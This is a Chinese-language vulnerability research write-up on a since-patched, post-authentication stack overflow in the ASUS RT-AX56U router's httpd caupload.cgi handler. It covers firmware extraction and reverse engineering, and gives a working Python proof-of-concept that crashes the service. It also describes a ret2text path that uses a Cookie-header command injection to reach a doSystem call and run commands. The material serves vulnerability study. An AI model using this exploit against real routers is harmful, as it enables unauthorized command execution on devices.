该漏洞为华硕RT-ax56u路由器httpd服务中身份验证后的栈溢出漏洞,由于该路由器在身份验证后可以自行开启telnet/ssh,而通过telnet/ssh登陆获取shell后已经是最高权限用户,所以该漏洞几乎没有被恶意利用的可能
本文从挖掘漏洞的角度分析该漏洞,仅供学习用途
相关信息
ASUS 2021/10/07更新公告(https://www.asus.com.cn/Networking-IoT-Servers/WiFi-Routers/ASUS-WiFi-Routers/RT-AX56U/HelpDesk_BIOS/)
本文分析的漏洞为其中的栈溢出漏洞,另外经过华硕官方确认还有多个型号路由器存在该漏洞并均已修复
固件下载
华硕提供了非常全面的服务支持,可以在官网下载所有版本的固件
下载漏洞修复前的固件
FW_RT_AX56U_300438644266(https://dlsvr04.asus.com.cn/pub/ASUS/wireless/RT-AX56U/FW_RT_AX56U_300438644266.zip)
实验环境
由于虚拟环境较玄学,使用某鱼不到300rmb就可以买到的二手华硕RT-ax56u路由器,将下载的固件手动上传到设备
获取文件系统
先对文件系统进行解压,该固件中是ubi文件系统,如果使用binwalk直接解压只能得到一个ubi后缀的文件
可以使用ubi_reader(https://github.com/jrspruitt/ubi_reader)工具对固件进行解压,或者安装好ubi_reader后用binwalk就可以直接解压了
binwalk -Me RT-AX56U_3.0.0.4_386_44266-g7f6b0df_cferom_pureubi.w
分析攻击面
可以通过三种方式获取该路由器端口信息,从而分析潜在的攻击面
nmap扫描端口
扫描端口可以快速了解该路由器潜在的攻击面
sudo nmap 192.168.50.1 -p0-65535
通过uart串口获取shell后查看开放端口
拆开路由器查看调试串口
用SecureCRT连接
netstat -aptu
开启telnet/ssh获取shell后查看开放端口
此处用telnet连接
netstat -aptu
可以看到开启的tcp和udp端口以及相关的服务
在对该路由器进行测试的过程中由于对http协议最熟悉,优先对该固件中实现web功能的httpd文件进行分析,而本文分析的漏洞正是存在于httpd文件中
全局搜索httpd
find . | grep httpd
找到httpd文件
逆向分析httpd服务文件
进行例行检查
为ARM架构小端序的程序,只开启了NX保护,也就是说对于内存破坏漏洞而言不能通过直接写入shellcode并跳转的方式来进行利用
ida进行逆向分析之前查找资料可以找到梅林固件httpd服务的源代码(https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/httpd/httpd.c),虽然细微之处有所差别,但是大致框架一致,可以根据源码快速理解其实现逻辑
其处理http报文的主要功能在static void handle_request(void)
函数中
static void
handle_request(void)
{
...
while ( fgets( cur, line + sizeof(line) - cur, conn_fp ) != (char*) 0 )
{
//获取http报文请求头(略)
...
}
...
for (handler = &mime_handlers[0]; handler->pattern; handler++) {
if (match(handler->pattern, url))
{
...
if (handler->auth) {
...
else{
...
handler->auth(auth_userid, auth_passwd, auth_realm);
auth_result = auth_check(auth_realm, authorization, url, file, cookies, fromapp);
if (auth_result != 0)
{
if(strcasecmp(method, "post") == 0 && handler->input) //response post request
while (cl--) (void)fgetc(conn_fp);
send_login_page(fromapp, auth_result, NULL, NULL, 0);
return;
}
}
...
}else{
...
}
if (handler->input) {
handler->input(file, conn_fp, cl, boundary);
...
}
...
if (strcasecmp(method, "head") != 0 && handler->output) {
handler->output(file, conn_fp);
}
break;
}
}
在项目的httpd.h文件中可以找到mime_handler结构体定义
struct mime_handler {
char *pattern;
char *mime_type;
char *extra_header;
void (*input)(char *path, FILE *stream, int len, char *boundary);
void (*output)(char *path, FILE *stream);
void (*auth)(char *userid, char *passwd, char *realm);
};
其大致逻辑就是获取完报文请求头后遍历mime_handlers结构体数组,根据用户访问的url找到对应的mime_handler结构体,再判断鉴权以及调用其中的函数指针,这些被调用的函数就是需要重点审计的地方
在固件中也可以找到mime_handlers结构体数组
经过逆向分析,最后在"caupload.cgi"字段的mime_handler结构体中找到了存在漏洞的函数
分析漏洞
根据对handler的input
函数调用的语句可以知道各参数的含义
这里只有3个参数,与源码中看到的调用语句不同,是因为ida没有识别出将第四个参数存入寄存器的过程,直接查看汇编代码就能看到对R3的赋值
进入"caupload.cgi"相关结构体的input
函数,也能看到其实是有四个参数的
程序运行到这个函数的时候,http报文请求头已经被读取了,此时缓冲区中还有http报文的请求数据
该函数从缓冲区中获取请求数据后保存在大小为0x10000的input3数组中,根据请求数据中的"name"字段进入不同的分支
而漏洞的成因是最后调用的strcat
函数,程序会判断"Content-Length"字段判断请求数据的长度(通过第三个参数传递),将fgets
从缓冲区获取到的字符串拼接到保存在栈上的变量v34后面,但是由于这里Content-Length的最大限制为0xffff,而该函数的栈帧长度只有0x1440,存在栈溢出漏洞
触发漏洞
逆向报文结构让程序能执行到调用strcat
函数的分支,只需要在Content-Disposition: form-data; name="file_ca"; filename=
后填充大量字符就可以造成溢出(通过burp抓包得到登录报文格式,在验证漏洞之前需要先进行登录)
poc.py:
#/usr/bin/python3
import requests
import socket
import base64
import sys
def attack(ip, username, passwd):
login_url = "http://"+ip+"/login.cgi"
hd = {"Host": "192.168.50.1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://192.168.50.1/Main_Login.asp",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "161",
"Cookie": "clickedItem_tab=0; hwaddr=A8:5E:45:DD:96:08; apps_last=; maxBandwidth=100; bw_rtab=INTERNET; asus_token=lRZ0RCBKRnYW8GBQzCI2wHPzB7F7DYU",
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
auth = username+':'+passwd
auth = base64.b64encode(auth.encode('utf-8')).decode()
print('[*] login...')
da = "group_id=&action_mode=&action_script=&action_wait=5¤t_page=Main_Login.asp&next_page=index.asp&login_authorization="+auth+"&login_captcha="
r = requests.post(login_url,headers=hd,data = da, timeout=1000)
cookie = r.headers['Set-Cookie'][11:-11]
pd = 'Content-Disposition: form-data; name="file_ca"; filename=aaarn'
pd += 'rn'
pd += 'a'*0x2000
attack_url = "http://"+ip+"/caupload.cgi"
hd = {"Host": "192.168.50.1",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://192.168.50.1/Advanced_VPNClient_Content.asp",
"Content-Type": "application/x-www-form-urlencoded; boundary=---------------------------90665545817618071411188093951",
"Content-Length": str(len(pd)),
"Cookie": "clickedItem_tab=0; hwaddr=A8:5E:45:DD:96:08; apps_last=; maxBandwidth=100; bw_rtab=INTERNET; asus_token="+cookie,
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
print('[*] Attacking')
r = requests.post(attack_url,headers=hd,data = pd, timeout=1000)
def usage():
print("Usage: python poc.py routerip username password")
if __name__ == "__main__":
if len(sys.argv) < 3:
usage()
else:
attack(ip=sys.argv[1],username=sys.argv[2], passwd=sys.argv[3])
发送报文后httpd服务崩溃,但是由于存在守护进程马上就会重新启动服务
漏洞利用
经过测试发现在该路由器上,但是由于
与CTF不同的是,对于这种网络服务,进行溢出后进行ROP泄露地址再ret2libc的方法并不好用
泄露地址后往往需要返回main函数重新输入溢出数据,但是由于配置等问题可能导致失败 泄露地址不能通过 puts
等标准输出函数,而是需要向与用户连接的socket中输出
而其实对于该路由器而言
栈地址与堆地址都是随机的(如果用qemu模拟环境可能是固定的),不能直接使用libc中的gadget 开启了NX保护不能使用shellcode 没有开启pie保护,程序基址还是固定的 由于路由器为arm架构,程序中固定的地址最高位基本都是 x00
无法使用shellcode,甚至因为strcat
函数存在x00
截断,构造ROP链都是问题,难道这里即使存在溢出漏洞也没有办法进行利用吗
其实是有办法的,ret2libc不行,倒是可以考虑ret2text
由于固定地址最高位是x00
,所以在内存中填充返回地址时的最后一个字节为x00
,也就是说有一次跳转地址的机会
在程序中寻找可能可以利用的gedget,直接对system
、popen
、doSystem
(system
函数的wraper函数)这样能执行命令的函数进行交叉引用搜索,可以找到一个特殊的函数调用
在ARM架构下获取字符串地址的指令一般是形如ADD R0,PC,R0
这样的汇编指令,以PC寄存器作为基址寄存器通过偏移来获得字符串地址,而该函数调用的特殊之处在于,在调用doSystem
函数之前,获取参数的指令是LDR R0,[SP,#0x28]
也就是说,如果在跳转到这个gadget之前能控制[SP,#0x28]
这个地址上的内容,就能控制doSystem
的参数达到执行命令的目的,而这里正好是可控的
对漏洞进行gdbserver远程调试(远程调试的具体步骤就不介绍了,可以参考强网杯2020决赛-cisco-RV110W-漏洞复现中进行远程调试的详细步骤)
gdb-multiarch httpd
target remote 192.168.50.1:1234
b*0x51344
c
运行POC脚本发送http请求,溢出后将返回地址修改为0x5b43c,从断点处单步运行跳转到0x5b43c,查看$sp+0x28
的值
x/20wx $sp+0x28
发现[sp+0x28]
所指向的地址保存的其实是http报文请求头中Cookie,也就是说只要将命令注入到Cookie中,再溢出控制程序跳转到上文提到的doSystem
函数之前,即可执行任意命令
但是为了让程序正常的读取Cookie,Cookie字段不能只是命令,需要在命令后拼接上原本Cookie的内容,并在二者之间用";"分隔保证命令正确执行。
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
欢迎联系admin@chamd5.org
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...